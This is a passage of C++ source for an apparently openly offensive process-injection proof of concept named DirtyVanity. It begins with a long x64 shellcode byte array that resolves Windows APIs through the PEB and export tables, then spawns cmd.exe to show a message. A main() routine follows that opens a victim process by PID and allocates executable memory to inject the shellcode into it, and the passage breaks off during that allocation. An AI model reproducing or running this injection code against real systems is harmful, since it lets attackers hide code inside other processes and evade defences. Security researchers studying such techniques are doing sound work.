0x85, 0x68, 0x01, 0x00, 0x00,\r\n 0x0F, 0xB7, 0x8D, 0x6C, 0x01, 0x00, 0x00, 0x2B, 0xC1, 0x89,\r\n 0x85, 0x60, 0x01, 0x00, 0x00, 0x83, 0xBD, 0x60, 0x01, 0x00,\r\n 0x00, 0x00, 0x75, 0x10, 0x48, 0x8B, 0x85, 0x58, 0x01, 0x00,\r\n 0x00, 0x48, 0x89, 0x85, 0x50, 0x01, 0x00, 0x00, 0xEB, 0x25,\r\n 0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00,\r\n 0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,\r\n 0x30, 0x01, 0x00, 0x00, 0x48, 0x39, 0x85, 0x38, 0x01, 0x00,\r\n 0x00, 0x0F, 0x85, 0xF9, 0xFC, 0xFF, 0xFF, 0x48, 0x8B, 0x85,\r\n 0x50, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x70, 0x01, 0x00,\r\n 0x00, 0x48, 0xB8, 0x6E, 0x00, 0x74, 0x00, 0x64, 0x00, 0x6C,\r\n 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x6C, 0x00, 0x2E,\r\n 0x00, 0x64, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48,\r\n 0xC7, 0x45, 0x48, 0x6C, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x45,\r\n 0x50, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x78, 0x01,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x30,\r\n 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x85, 0x38,\r\n 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00,\r\n 0x48, 0x83, 0xE8, 0x10, 0x48, 0x89, 0x85, 0x80, 0x01, 0x00,\r\n 0x00, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x48, 0x8B, 0x85, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8B,\r\n 0x40, 0x60, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48,\r\n 0x8D, 0x45, 0x38, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00,\r\n 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,\r\n 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00,\r\n 0x85, 0xC0, 0x75, 0x0F, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0xE9, 0x2E, 0x01, 0x00, 0x00, 0x48,\r\n 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88,\r\n 0x85, 0x8C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01,\r\n 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00,\r\n 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F,\r\n 0xB7, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00, 0xEB,\r\n 0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8,\r\n 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00,\r\n 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x8C, 0x01,\r\n 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x8D, 0x01, 0x00,\r\n 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C, 0x01, 0x00, 0x00,\r\n 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85,\r\n 0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00,\r\n 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6,\r\n 0x00, 0x88, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,\r\n 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00,\r\n 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00,\r\n 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01, 0x00,\r\n 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00,\r\n 0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01,\r\n 0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85,\r\n 0x8C, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x8D,\r\n 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C, 0x01,\r\n 0x00, 0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F,\r\n 0xBE, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x94,\r\n 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,\r\n 0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00,\r\n 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48, 0x83,\r\n 0xC0, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F,\r\n 0xB7, 0x85, 0x90, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x8D, 0x94,\r\n 0x01, 0x00, 0x00, 0x3B, 0xC1, 0x0F, 0x84, 0xB5, 0xFE, 0xFF,\r\n 0xFF, 0x83, 0xBD, 0x88, 0x01, 0x00, 0x00, 0x00, 0x0F, 0x84,\r\n 0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00,\r\n 0x00, 0x48, 0x83, 0xE8, 0x02, 0x48, 0x89, 0x85, 0x48, 0x01,\r\n 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48,\r\n 0x83, 0xE8, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00,\r\n 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00,\r\n 0x88, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48,\r\n 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00,\r\n 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,\r\n 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00,\r\n 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83,\r\n 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00,\r\n 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x8C,\r\n 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x8D, 0x01,\r\n 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C, 0x01, 0x00,\r\n 0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE,\r\n 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01,\r\n 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F,\r\n 0xB6, 0x00, 0x88, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x48, 0x8B,\r\n 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF,\r\n 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x40, 0x01,\r\n 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01,\r\n 0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00,\r\n 0x00, 0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x8C,\r\n 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE,\r\n 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85,\r\n 0x8D, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C,\r\n 0x01, 0x00, 0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66,\r\n 0x0F, 0xBE, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85,\r\n 0x94, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x85, 0x90, 0x01, 0x00,\r\n 0x00, 0x0F, 0xB7, 0x8D, 0x94, 0x01, 0x00, 0x00, 0x2B, 0xC1,\r\n 0x89, 0x85, 0x88, 0x01, 0x00, 0x00, 0x83, 0xBD, 0x88, 0x01,\r\n 0x00, 0x00, 0x00, 0x75, 0x10, 0x48, 0x8B, 0x85, 0x80, 0x01,\r\n 0x00, 0x00, 0x48, 0x89, 0x85, 0x78, 0x01, 0x00, 0x00, 0xEB,\r\n 0x25, 0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B,\r\n 0x00, 0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B,\r\n 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x39, 0x85, 0x38, 0x01,\r\n 0x00, 0x00, 0x0F, 0x85, 0xF9, 0xFC, 0xFF, 0xFF, 0x48, 0x8B,\r\n 0x85, 0x50, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x30, 0x48,\r\n 0x89, 0x85, 0x98, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x98,\r\n 0x01, 0x00, 0x00, 0x48, 0x63, 0x40, 0x3C, 0x48, 0x8B, 0x8D,\r\n 0x98, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1,\r\n 0x48, 0x89, 0x85, 0xA0, 0x01, 0x00, 0x00, 0xB8, 0x08, 0x00,\r\n 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00, 0x48, 0x8B, 0x8D, 0xA0,\r\n 0x01, 0x00, 0x00, 0x8B, 0x84, 0x01, 0x88, 0x00, 0x00, 0x00,\r\n 0x48, 0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8,\r\n 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x85, 0xA8, 0x01, 0x00, 0x00,\r\n 0x48, 0x8B, 0x85, 0xA8, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x20,\r\n 0x48, 0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8,\r\n 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x85, 0xB0, 0x01, 0x00, 0x00,\r\n 0x48, 0xB8, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41,\r\n 0x48, 0x89, 0x45, 0x10, 0xC7, 0x85, 0xB8, 0x01, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x48, 0x63, 0x85, 0xB8, 0x01, 0x00,\r\n 0x00, 0x48, 0x8B, 0x8D, 0xB0, 0x01, 0x00, 0x00, 0x48, 0x63,\r\n 0x04, 0x81, 0x48, 0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00, 0x48,\r\n 0x8B, 0x55, 0x10, 0x48, 0x39, 0x14, 0x01, 0x74, 0x10, 0x8B,\r\n 0x85, 0xB8, 0x01, 0x00, 0x00, 0xFF, 0xC0, 0x89, 0x85, 0xB8,\r\n 0x01, 0x00, 0x00, 0xEB, 0xCD, 0x48, 0x8B, 0x85, 0xA8, 0x01,\r\n 0x00, 0x00, 0x8B, 0x40, 0x24, 0x48, 0x8B, 0x8D, 0x98, 0x01,\r\n 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89,\r\n 0x85, 0xC0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0xA8, 0x01,\r\n 0x00, 0x00, 0x8B, 0x40, 0x1C, 0x48, 0x8B, 0x8D, 0x98, 0x01,\r\n 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89,\r\n 0x85, 0xC8, 0x01, 0x00, 0x00, 0x48, 0x63, 0x85, 0xB8, 0x01,\r\n 0x00, 0x00, 0x48, 0x8B, 0x8D, 0xC0, 0x01, 0x00, 0x00, 0x48,\r\n 0x0F, 0xBF, 0x04, 0x41, 0x48, 0x8B, 0x8D, 0xC8, 0x01, 0x00,\r\n 0x00, 0x48, 0x63, 0x04, 0x81, 0x48, 0x8B, 0x8D, 0x98, 0x01,\r\n 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89,\r\n 0x85, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x98, 0x01,\r\n 0x00, 0x00, 0x48, 0x89, 0x85, 0xD8, 0x01, 0x00, 0x00, 0x48,\r\n 0x8B, 0x85, 0x78, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xE0,\r\n 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0xE0, 0x01, 0x00, 0x00,\r\n 0xC7, 0x80, 0x14, 0x01, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,\r\n 0x48, 0x8B, 0x85, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40,\r\n 0x30, 0x48, 0x89, 0x85, 0xE8, 0x01, 0x00, 0x00, 0x48, 0xB8,\r\n 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x48, 0x89,\r\n 0x45, 0x10, 0x48, 0xC7, 0x45, 0x18, 0x61, 0x72, 0x79, 0x41,\r\n 0x48, 0x8D, 0x55, 0x10, 0x48, 0x8B, 0x8D, 0xD8, 0x01, 0x00,\r\n 0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85,\r\n 0xF0, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x52, 0x74, 0x6C, 0x41,\r\n 0x6C, 0x6C, 0x6F, 0x63, 0x48, 0x89, 0x45, 0x10, 0x48, 0xB8,\r\n 0x61, 0x74, 0x65, 0x48, 0x65, 0x61, 0x70, 0x00, 0x48, 0x89,\r\n 0x45, 0x18, 0x48, 0x8D, 0x55, 0x10, 0x48, 0x8B, 0x8D, 0xE8,\r\n 0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48,\r\n 0x89, 0x85, 0xF8, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x52, 0x74,\r\n 0x6C, 0x43, 0x72, 0x65, 0x61, 0x74, 0x48, 0x89, 0x45, 0x38,\r\n 0x48, 0xB8, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73,\r\n 0x48, 0x89, 0x45, 0x40, 0x48, 0xB8, 0x50, 0x61, 0x72, 0x61,\r\n 0x6D, 0x65, 0x74, 0x65, 0x48, 0x89, 0x45, 0x48, 0x48, 0xC7,\r\n 0x45, 0x50, 0x72, 0x73, 0x45, 0x78, 0x48, 0x8D, 0x55, 0x38,\r\n 0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0,\r\n 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x00, 0x02, 0x00, 0x00,\r\n 0x48, 0xB8, 0x4E, 0x74, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65,\r\n 0x48, 0x89, 0x45, 0x20, 0x48, 0xB8, 0x55, 0x73, 0x65, 0x72,\r\n 0x50, 0x72, 0x6F, 0x63, 0x48, 0x89, 0x45, 0x28, 0x48, 0xC7,\r\n 0x45, 0x30, 0x65, 0x73, 0x73, 0x00, 0x48, 0x8D, 0x55, 0x20,\r\n 0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0,\r\n 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x08, 0x02, 0x00, 0x00,\r\n 0x48, 0xB8, 0x52, 0x74, 0x6C, 0x49, 0x6E, 0x69, 0x74, 0x55,\r\n 0x48, 0x89, 0x45, 0x20, 0x48, 0xB8, 0x6E, 0x69, 0x63, 0x6F,\r\n 0x64, 0x65, 0x53, 0x74, 0x48, 0x89, 0x45, 0x28, 0x48, 0xC7,\r\n 0x45, 0x30, 0x72, 0x69, 0x6E, 0x67, 0x48, 0x8D, 0x55, 0x20,\r\n 0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0,\r\n 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x10, 0x02, 0x00, 0x00,\r\n 0x48, 0xB8, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00, 0x5C, 0x00,\r\n 0x48, 0x89, 0x45, 0x60, 0x48, 0xB8, 0x43, 0x00, 0x3A, 0x00,\r\n 0x5C, 0x00, 0x57, 0x00, 0x48, 0x89, 0x45, 0x68, 0x48, 0xB8,\r\n 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x48, 0x89,\r\n 0x45, 0x70, 0x48, 0xB8, 0x77, 0x00, 0x73, 0x00, 0x5C, 0x00,\r\n 0x53, 0x00, 0x48, 0x89, 0x45, 0x78, 0x48, 0xB8, 0x79, 0x00,\r\n 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x48, 0x89, 0x85, 0x80,\r\n 0x00, 0x00, 0x00, 0x48, 0xB8, 0x6D, 0x00, 0x33, 0x00, 0x32,\r\n 0x00, 0x5C, 0x00, 0x48, 0x89, 0x85, 0x88, 0x00, 0x00, 0x00,\r\n 0x48, 0xB8, 0x63, 0x00, 0x6D, 0x00, 0x64, 0x00, 0x2E, 0x00,\r\n 0x48, 0x89, 0x85, 0x90, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x65,\r\n 0x00, 0x78, 0x00, 0x65, 0x00, 0x00, 0x00, 0x48, 0x89, 0x85,\r\n 0x98, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x55, 0x60, 0x48, 0x8D,\r\n 0x8D, 0x18, 0x02, 0x00, 0x00, 0xFF, 0x95, 0x10, 0x02, 0x00,\r\n 0x00, 0x48, 0xB8, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00, 0x5C,\r\n 0x00, 0x48, 0x89, 0x85, 0xA0, 0x00, 0x00, 0x00, 0x48, 0xB8,\r\n 0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x57, 0x00, 0x48, 0x89,\r\n 0x85, 0xA8, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x69, 0x00, 0x6E,\r\n 0x00, 0x64, 0x00, 0x6F, 0x00, 0x48, 0x89, 0x85, 0xB0, 0x00,\r\n 0x00, 0x00, 0x48, 0xB8, 0x77, 0x00, 0x73, 0x00, 0x5C, 0x00,\r\n 0x53, 0x00, 0x48, 0x89, 0x85, 0xB8, 0x00, 0x00, 0x00, 0x48,\r\n 0xB8, 0x79, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x48,\r\n 0x89, 0x85, 0xC0, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x6D, 0x00,\r\n 0x33, 0x00, 0x32, 0x00, 0x5C, 0x00, 0x48, 0x89, 0x85, 0xC8,\r\n 0x00, 0x00, 0x00, 0x48, 0xB8, 0x63, 0x00, 0x6D, 0x00, 0x64,\r\n 0x00, 0x2E, 0x00, 0x48, 0x89, 0x85, 0xD0, 0x00, 0x00, 0x00,\r\n 0x48, 0xB8, 0x65, 0x00, 0x78, 0x00, 0x65, 0x00, 0x20, 0x00,\r\n 0x48, 0x89, 0x85, 0xD8, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x2F,\r\n 0x00, 0x6B, 0x00, 0x20, 0x00, 0x6D, 0x00, 0x48, 0x89, 0x85,\r\n 0xE0, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x73, 0x00, 0x67, 0x00,\r\n 0x20, 0x00, 0x2A, 0x00, 0x48, 0x89, 0x85, 0xE8, 0x00, 0x00,\r\n 0x00, 0x48, 0xB8, 0x20, 0x00, 0x48, 0x00, 0x65, 0x00, 0x6C,\r\n 0x00, 0x48, 0x89, 0x85, 0xF0, 0x00, 0x00, 0x00, 0x48, 0xB8,\r\n 0x6C, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x66, 0x00, 0x48, 0x89,\r\n 0x85, 0xF8, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x72, 0x00, 0x6F,\r\n 0x00, 0x6D, 0x00, 0x20, 0x00, 0x48, 0x89, 0x85, 0x00, 0x01,\r\n 0x00, 0x00, 0x48, 0xB8, 0x44, 0x00, 0x69, 0x00, 0x72, 0x00,\r\n 0x74, 0x00, 0x48, 0x89, 0x85, 0x08, 0x01, 0x00, 0x00, 0x48,\r\n 0xB8, 0x79, 0x00, 0x20, 0x00, 0x56, 0x00, 0x61, 0x00, 0x48,\r\n 0x89, 0x85, 0x10, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6E, 0x00,\r\n 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x48, 0x89, 0x85, 0x18,\r\n 0x01, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x20, 0x01, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x95, 0xA0, 0x00, 0x00,\r\n 0x00, 0x48, 0x8D, 0x8D, 0x28, 0x02, 0x00, 0x00, 0xFF, 0x95,\r\n 0x10, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x38, 0x02, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x50, 0x01,\r\n 0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x48, 0x00, 0x00,\r\n 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x40, 0x00, 0x00, 0x00,\r\n 0x00, 0x48, 0xC7, 0x44, 0x24, 0x38, 0x00, 0x00, 0x00, 0x00,\r\n 0x48, 0xC7, 0x44, 0x24, 0x30, 0x00, 0x00, 0x00, 0x00, 0x48,\r\n 0xC7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D,\r\n 0x85, 0x28, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20,\r\n 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x48, 0x8D, 0x95, 0x18,\r\n 0x02, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x38, 0x02, 0x00, 0x00,\r\n 0xFF, 0x95, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x85, 0x40,\r\n 0x02, 0x00, 0x00, 0x48, 0x8B, 0xF8, 0x33, 0xC0, 0xB9, 0x58,\r\n 0x00, 0x00, 0x00, 0xF3, 0xAA, 0x48, 0xC7, 0x85, 0x40, 0x02,\r\n 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0xC7, 0x85, 0x48, 0x02,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00,\r\n 0x00, 0x48, 0x6B, 0xC0, 0x01, 0x41, 0xB8, 0x20, 0x00, 0x00,\r\n 0x00, 0xBA, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4D, 0x00,\r\n 0x48, 0x8B, 0x4C, 0x01, 0x28, 0xFF, 0x95, 0xF8, 0x01, 0x00,\r\n 0x00, 0x48, 0x89, 0x85, 0xA0, 0x02, 0x00, 0x00, 0x48, 0x8B,\r\n 0x85, 0xA0, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x00, 0x28, 0x00,\r\n 0x00, 0x00, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0,\r\n 0x00, 0x48, 0x8B, 0x8D, 0xA0, 0x02, 0x00, 0x00, 0xC7, 0x44,\r\n 0x01, 0x08, 0x05, 0x00, 0x02, 0x00, 0xB8, 0x20, 0x00, 0x00,\r\n 0x00, 0x48, 0x6B, 0xC0, 0x00, 0x0F, 0xB7, 0x8D, 0x18, 0x02,\r\n 0x00, 0x00, 0x48, 0x8B, 0x95, 0xA0, 0x02, 0x00, 0x00, 0x48,\r\n 0x89, 0x4C, 0x02, 0x10, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x48,\r\n 0x6B, 0xC0, 0x00, 0x48, 0x8B, 0x8D, 0xA0, 0x02, 0x00, 0x00,\r\n 0x48, 0x8B, 0x95, 0x20, 0x02, 0x00, 0x00, 0x48, 0x89, 0x54,\r\n 0x01, 0x18, 0x48, 0xC7, 0x85, 0xB0, 0x02, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0xA0, 0x02, 0x00, 0x00,\r\n 0x48, 0x89, 0x44, 0x24, 0x50, 0x48, 0x8D, 0x85, 0x40, 0x02,\r\n 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8B, 0x85,\r\n 0x38, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x40, 0xC7,\r\n 0x44, 0x24, 0x38, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24,\r\n 0x30, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x28,\r\n 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x20, 0x00,\r\n 0x00, 0x00, 0x00, 0x41, 0xB9, 0xFF, 0xFF, 0x1F, 0x00, 0x41,\r\n 0xB8, 0xFF, 0xFF, 0x1F, 0x00, 0x48, 0x8D, 0x95, 0xB0, 0x02,\r\n 0x00, 0x00, 0x48, 0x8D, 0x8D, 0xA8, 0x02, 0x00, 0x00, 0xFF,\r\n 0x95, 0x08, 0x02, 0x00, 0x00, 0x89, 0x85, 0xB8, 0x02, 0x00,\r\n 0x00, 0x48, 0xB8, 0x4E, 0x74, 0x53, 0x75, 0x73, 0x70, 0x65,\r\n 0x6E, 0x48, 0x89, 0x45, 0x10, 0x48, 0xB8, 0x64, 0x54, 0x68,\r\n 0x72, 0x65, 0x61, 0x64, 0x00, 0x48, 0x89, 0x45, 0x18, 0x48,\r\n 0x8D, 0x55, 0x10, 0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00, 0x00,\r\n 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xC0,\r\n 0x02, 0x00, 0x00, 0x33, 0xD2, 0x48, 0xC7, 0xC1, 0xFE, 0xFF,\r\n 0xFF, 0xFF, 0xFF, 0x95, 0xC0, 0x02, 0x00, 0x00, 0x48, 0x8D,\r\n 0xA5, 0x58, 0x03, 0x00, 0x00, 0x5F, 0x5D, 0xC3\r\n};\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\r\n\tDWORD victimPid;\r\n\tif (argc != 2)\r\n\t{\r\n\t\tstd::cout << \"[+] USAGE: DirtyVanity [TARGET_PID_TO_REFLECT]\" << std::endl;\r\n\t\treturn -1;\r\n\t}\r\n\tstd::string pidArg = argv[1];\r\n\ttry\r\n\t{\r\n\t\tvictimPid = std::stoi(pidArg);\r\n\t}\r\n\tcatch (std::invalid_argument const& ex)\r\n\t{\r\n\t\tstd::cout << \"[-] USAGE: Invalid PID choice \" << pidArg << std::endl;\r\n\t\treturn -1;\r\n\t}\r\n\r\n\tHANDLE victimHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE, TRUE, victimPid);\r\n\tif (victimHandle == nullptr)\r\n\t{\r\n\t\tstd::cout << std::format(\"[-] Error using OpenProcess on PID {}: ERROR {}\", victimPid, GetLastError()) << std::endl;\r\n\t\treturn -1;\r\n\t}\r\n\tstd::cout << \"[+] Got a handle to PID \" << pidArg << \" succesfuly\" << std::endl;\r\n\r\n\t// allocate shellcode within victim\r\n\tDWORD_PTR shellcodeSize = sizeof(shellcode);\r\n\r\n\tLPVOID baseAddress = VirtualAllocEx(victimHandle, nullptr, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n\tif (baseAddress == nullptr)\r\n\t{\r\n\t\tstd::cout << std::format(\"[-] Error allocating shellcode with VirtualAllocEx on 